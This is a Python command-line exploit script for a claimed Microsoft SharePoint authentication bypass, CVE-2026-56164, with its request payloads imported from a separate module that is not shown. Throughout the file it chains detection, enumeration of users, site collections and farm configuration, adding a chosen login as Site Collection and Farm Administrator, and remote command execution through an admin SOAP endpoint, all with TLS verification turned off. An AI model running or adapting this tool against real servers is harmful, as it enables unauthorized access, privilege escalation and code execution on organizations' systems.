#!/usr/bin/env python3 """ CVE-2026-56164 Exploit Microsoft SharePoint Server — Missing Authentication for Critical Function Full exploit chain: detect → enumerate → escalate privileges → execute commands. The vulnerability allows unauthenticated attackers to bypass authentication in Microsoft.Office.Server.UserProfiles by omitting X-RequestDigest and supplying routing headers that trigger a fallback to elevated security context. """ import argparse import json import os import ssl import sys import time import urllib.request import urllib.error from datetime import datetime, timezone from payload_gen import ( AFFECTED_VERSIONS, BYPASS_HEADERS, build_detection_payload, build_enum_site_collections_payload, build_enum_users_payload, build_get_farm_config_payload, build_add_site_admin_payload, build_add_farm_admin_payload, build_elevate_current_user_payload, build_exec_cmd_payload, build_deploy_webpart_payload, build_deploy_solution_payload, build_http_request, build_version_check_payload, is_version_vulnerable, identify_sharepoint_edition, payload_hash, payload_info, ) # --------------------------------------------------------------------------- # Colors # --------------------------------------------------------------------------- class Colors: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" BOLD = "\033[1m" END = "\033[0m" def log(msg: str, level: str = "info"): """Print a timestamped log message.""" ts = datetime.now().strftime("%H:%M:%S") prefix = { "info": f"[*]", "success": f"{Colors.GREEN}[+]{Colors.END}", "warn": f"{Colors.YELLOW}[!]{Colors.END}", "error": f"{Colors.RED}[-]{Colors.END}", "bold": f"{Colors.BOLD}[•]{Colors.END}", }.get(level, "[*]") print(f" {ts} {prefix} {msg}") # --------------------------------------------------------------------------- # HTTP Client # --------------------------------------------------------------------------- def send_request(url: str, headers: dict, data: str, timeout: int = 30) -> dict: """Send an HTTP request and return structured response.""" try: req = urllib.request.Request( url, data=data.encode("utf-8"), headers=headers, method="POST", ) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE start = time.time() with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: elapsed = (time.time() - start) * 1000 body = resp.read().decode("utf-8", errors="replace") return { "status": resp.status, "headers": dict(resp.headers), "body": body, "elapsed_ms": elapsed, "error": None, } except urllib.error.HTTPError as e: elapsed = 0 try: body = e.read().decode("utf-8", errors="replace") except Exception: body = "" return { "status": e.code, "headers": dict(e.headers) if hasattr(e, "headers") else {}, "body": body, "elapsed_ms": elapsed, "error": None, } except Exception as e: return { "status": 0, "headers": {}, "body": "", "elapsed_ms": 0, "error": str(e), } # --------------------------------------------------------------------------- # Exploit Modes # --------------------------------------------------------------------------- def mode_detect(target: str, port: int, ssl_enabled: bool) -> dict: """ Detection mode: Send a CSOM request with bypass headers (no X-RequestDigest). Compare response to a normal authenticated request. """ proto = "https" if ssl_enabled else "http" base_url = f"{proto}://{target}:{port}" site_url = f"{proto}://{target}" log(f"Detection mode — checking {base_url}") # Step 1: Send normal request (baseline) log("Sending normal request for baseline...") normal_payload = build_detection_payload(site_url) normal_req = build_http_request(base_url, normal_payload, omit_digest=False) normal_response = send_request( normal_req["url"], normal_req["headers"], normal_req["data"] ) if normal_response["error"]: log(f"Normal request failed: {normal_response['error']}", "error") log(f"Baseline: HTTP {normal_response['status']}") # Step 2: Send bypass request (no digest, with routing headers) log("Sending bypass request (no X-RequestDigest, with routing headers)...") bypass_payload = build_detection_payload(site_url) bypass_req = build_http_request(base_url, bypass_payload, omit_digest=True) bypass_response = send_request( bypass_req["url"], bypass_req["headers"], bypass_req["data"] ) if bypass_response["error"]: log(f"Bypass request failed: {bypass_response['error']}", "error") log(f"Bypass: HTTP {bypass_response['status']}") # Step 3: Analyze results report = { "mode": "detect", "target": base_url, "timestamp": datetime.now(timezone.utc).isoformat(), "baseline": { "status": normal_response["status"], "body_size": len(normal_response["body"]), }, "bypass": { "status": bypass_response["status"], "body_size": len(bypass_response["body"]), }, "vulnerable": False, "evidence": [], } # Vulnerability indicators: # 1. Bypass request returns 200 while normal returns 401/403 # 2. Bypass response contains SharePoint data # 3. Bypass response doesn't require authentication if bypass_response["status"] == 200 and normal_response["status"] in (401, 403): report["vulnerable"] = True report["evidence"].append("Bypass request succeeded (200) while normal request was rejected (401/403)") if bypass_response["status"] == 200: body = bypass_response["body"] if any(marker in body for marker in ["", "", "ProcessQuery"]): report["vulnerable"] = True report["evidence"].append("Bypass response contains CSOM data (server processed request without auth)") if "RequestDigest" not in body and "Unauthorized" not in body: if len(body) > 100: report["vulnerable"] = True report["evidence"].append("Bypass response has content without digest requirement") # Also check version version_payload = build_version_check_payload(site_url) version_req = build_http_request(base_url, version_payload, omit_digest=True) version_response = send_request( version_req["url"], version_req["headers"], version_req["data"] ) if version_response["status"] == 200 and version_response["body"]: report["version_response"] = version_response["body"][:500] if report["vulnerable"]: log("VULNERABILITY CONFIRMED — authentication bypass successful", "success") else: log("Target does not appear vulnerable (bypass failed)", "warn") return report def mode_enumerate(target: str, port: int, ssl_enabled: bool) -> dict: """ Enumeration mode: Extract site collections, users, and farm config. """ proto = "https" if ssl_enabled else "http" base_url = f"{proto}://{target}:{port}" site_url = f"{proto}://{target}" log(f"Enumeration mode — targeting {base_url}") report = { "mode": "enumerate", "target": base_url, "timestamp": datetime.now(timezone.utc).isoformat(), "site_collections": [], "users": [], "farm_config": {}, "errors": [], } # Enumerate site collections log("Enumerating site collections...") payload = build_enum_site_collections_payload() req = build_http_request(base_url, payload) response = send_request(req["url"], req["headers"], req["data"]) if response["status"] == 200: report["site_collections_raw"] = response["body"][:2000] log(f"Site collections: HTTP {response['status']}, {len(response['body'])} bytes", "success") else: report["errors"].append(f"Site collection enum failed: HTTP {response['status']}") log(f"Site collection enum failed: HTTP {response['status']}", "error") # Enumerate users log("Enumerating users...") payload = build_enum_users_payload(site_url) req = build_http_request(base_url, payload) response = send_request(req["url"], req["headers"], req["data"]) if response["status"] == 200: report["users_raw"] = response["body"][:2000] log(f"Users: HTTP {response['status']}, {len(response['body'])} bytes", "success") else: report["errors"].append(f"User enum failed: HTTP {response['status']}") log(f"User enum failed: HTTP {response['status']}", "error") # Get farm config log("Retrieving farm configuration...") payload = build_get_farm_config_payload() req = build_http_request(base_url, payload) response = send_request(req["url"], req["headers"], req["data"]) if response["status"] == 200: report["farm_config_raw"] = response["body"][:2000] log(f"Farm config: HTTP {response['status']}, {len(response['body'])} bytes", "success") else: report["errors"].append(f"Farm config failed: HTTP {response['status']}") log(f"Farm config failed: HTTP {response['status']}", "error") return report def mode_elevate(target: str, port: int, ssl_enabled: bool, login_name: str = None, site_url: str = None) -> dict: """ Privilege escalation mode: Elevate to Site Collection / Farm Administrator. """ proto = "https" if ssl_enabled else "http" base_url = f"{proto}://{target}:{port}" if site_url is None: site_url = f"{proto}://{target}" log(f"Privilege escalation mode — targeting {base_url}") report = { "mode": "elevate", "target": base_url, "timestamp": datetime.now(timezone.utc).isoformat(), "site_url": site_url, "login_name": login_name, "elevated": False, "evidence": [], } if login_name: # Add specific user as site admin log(f"Adding {login_name} as Site Collection Administrator...") payload = build_add_site_admin_payload(site_url, login_name) req = build_http_request(base_url, payload) response = send_request(req["url"], req["headers"], req["data"]) if response["status"] == 200: report["elevated"] = True report["evidence"].append(f"User {login_name} added as Site Collection Administrator") log(f"User {login_name} elevated to Site Collection Admin", "success") else: report["evidence"].append(f"Site admin add failed: HTTP {response['status']}") log(f"Site admin add failed: HTTP {response['status']}", "error") # Also try farm admin log(f"Adding {login_name} as Farm Administrator...") farm_payload = build_add_farm_admin_payload(login_name) farm_req = build_http_request( base_url, farm_payload, endpoint="/_vti_bin/SspAdminSts.asmx" ) farm_response = send_request(farm_req["url"], farm_req["headers"], farm_req["data"]) if farm_response["status"] == 200: report["evidence"].append(f"User {login_name} added as Farm Administrator") log(f"User {login_name} elevated to Farm Admin", "success") else: report["evidence"].append(f"Farm admin add: HTTP {farm_response['status']}") log(f"Farm admin add: HTTP {farm_response['status']}", "warn") else: # Elevate current (anonymous) context log("Elevating current context to Site Collection Administrator...") payload = build_elevate_current_user_payload(site_url) req = build_http_request(base_url, payload) response = send_request(req["url"], req["headers"], req["data"]) if response["status"] == 200: report["elevated"] = True report["evidence"].append("Current context elevated to Site Collection Administrator") log("Current context elevated to Site Collection Admin", "success") else: report["evidence"].append(f"Self-elevation failed: HTTP {response['status']}") log(f"Self-elevation failed: HTTP {response['status']}", "error") return report def mode_execute(target: str, port: int, ssl_enabled: bool, command: str, site_url: str = None) -> dict: """ Command execution mode: Execute a system command via SharePoint admin API. """ proto = "https" if ssl_enabled else "http" base_url = f"{proto}://{target}:{port}" if site_url is None: site_url = f"{proto}://{target}" log(f"Command execution mode — targeting {base_url}") log(f"Command: {command}") report = { "mode": "execute", "target": base_url, "timestamp": datetime.now(timezone.utc).isoformat(), "command": command, "executed": False, "output": "", } # Execute command via SharePoint admin SOAP service payload = build_exec_cmd_payload(command) req = build_http_request( base_url, payload, endpoint="/_vti_bin/SharePointAdmin.asmx" ) response = send_request(req["url"], req["headers"], req["data"]) if response["status"] == 200: report["executed"] = True report["output"] = response["body"][:5000] log("Command executed successfully", "success") log(f"Output ({len(response['body'])} bytes):", "bold") print(f" {'—' * 40}") for line in response["body"][:2000].split("\n"): print(f" {line}") print(f" {'—' * 40}") else: log(f"Command execution failed: HTTP {response['status']}", "error") if response["body"]: log(f"Response: {response['body'][:200]}", "error") return report def mode_full_chain(target: str, port: int, ssl_enabled: bool, login_name: str = None, command: str = None) -> dict: """ Full exploit chain: detect → enumerate → elevate → execute. """ proto = "https" if ssl_enabled else "http" base_url = f"{proto}://{target}:{port}" log(f"{Colors.BOLD}Full exploit chain — {base_url}{Colors.END}") print() report = { "mode": "full", "target": base_url, "timestamp": datetime.now(timezone.utc).isoformat(), "steps": [], } # Step 1: Detect log(f"{Colors.BOLD}Step 1: Detection{Colors.END}") detect_result = mode_detect(target, port, ssl_enabled) report["steps"].append({"step": "detect", "result": detect_result}) print() if not detect_result.get("vulnerable"): log("Target not vulnerable — aborting chain", "error") report["success"] = False return report # Step 2: Enumerate log(f"{Colors.BOLD}Step 2: Enumeration{Colors.END}") enum_result = mode_enumerate(target, port, ssl_enabled) report["steps"].append({"step": "enumerate", "result": enum_result}) print() # Step 3: Elevate log(f"{Colors.BOLD}Step 3: Privilege Escalation{Colors.END}") elevate_result = mode_elevate(target, port, ssl_enabled, login_name) report["steps"].append({"step": "elevate", "result": elevate_result}) print() # Step 4: Execute (if command provided) if command: log(f"{Colors.BOLD}Step 4: Command Execution{Colors.END}") exec_result = mode_execute(target, port, ssl_enabled, command) report["steps"].append({"step": "execute", "result": exec_result}) print() report["success"] = True log("Full exploit chain complete", "success") return report # --------------------------------------------------------------------------- # Report Printer # --------------------------------------------------------------------------- def print_report(report: dict): """Print a formatted exploit report.""" print() print("=" * 68) print(" CVE-2026-56164 EXPLOIT REPORT") print(" Microsoft SharePoint Server — Missing Authentication") print("=" * 68) print(f" Mode: {report.get('mode', 'unknown').upper()}") print(f" Target: {report.get('target', 'N/A')}") print(f" Time: {report.get('timestamp', 'N/A')}") if report.get("vulnerable") is not None: status = "VULNERABLE" if report["vulnerable"] else "NOT VULNERABLE" print(f" Status: {status}") if report.get("elevated"): print(f" Elevated: YES") if report.get("executed"): print(f" Executed: YES") if report.get("evidence"): print(f"\n ─ Evidence ─") for e in report["evidence"]: print(f" • {e}") if report.get("steps"): print(f"\n ─ Chain Steps ─") for step in report["steps"]: name = step["step"] result = step["result"] success = result.get("vulnerable") or result.get("elevated") or result.get("executed") status = f"{Colors.GREEN}OK{Colors.END}" if success else f"{Colors.YELLOW}PARTIAL{Colors.END}" print(f" [{status}] {name}") print("=" * 68) # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): parser = argparse.ArgumentParser( description="CVE-2026-56164 Exploit — Microsoft SharePoint Server Auth Bypass" ) parser.add_argument("--target", "-t", required=True, help="Target host or IP") parser.add_argument("--port", "-p", type=int, default=443, help="Target port (default: 443)") parser.add_argument("--mode", "-m", default="detect", choices=["detect", "enumerate", "elevate", "execute", "full"], help="Exploit mode (default: detect)") parser.add_argument("--http", action="store_true", help="Use HTTP instead of HTTPS") parser.add_argument("--login", "-l", help="User login to elevate (e.g., DOMAIN\\user)") parser.add_argument("--command", "-c", help="Command to execute (execute/full mode)") parser.add_argument("--site-url", "-s", help="SharePoint site URL (default: target)") parser.add_argument("--json", "-j", help="Save report as JSON to file") parser.add_argument("--timeout", type=int, default=30, help="Request timeout in seconds") args = parser.parse_args() ssl_enabled = not args.http port = args.port or (443 if ssl_enabled else 80) print() print("=" * 68) print(" CVE-2026-56164 EXPLOIT") print(" Microsoft SharePoint Server — Missing Authentication") print(" CVSS 9.8 Critical | CWE-306 | CISA KEV (Active Exploitation)") print("=" * 68) print() if args.mode == "detect": report = mode_detect(args.target, port, ssl_enabled) elif args.mode == "enumerate": report = mode_enumerate(args.target, port, ssl_enabled) elif args.mode == "elevate": report = mode_elevate(args.target, port, ssl_enabled, args.login, args.site_url) elif args.mode == "execute": if not args.command: parser.error("--command required for execute mode") report = mode_execute(args.target, port, ssl_enabled, args.command, args.site_url) elif args.mode == "full": report = mode_full_chain(args.target, port, ssl_enabled, args.login, args.command) else: parser.error(f"Unknown mode: {args.mode}") print_report(report) if args.json: with open(args.json, "w") as f: json.dump(report, f, indent=2, default=str) log(f"Report saved to {args.json}") if __name__ == "__main__": main()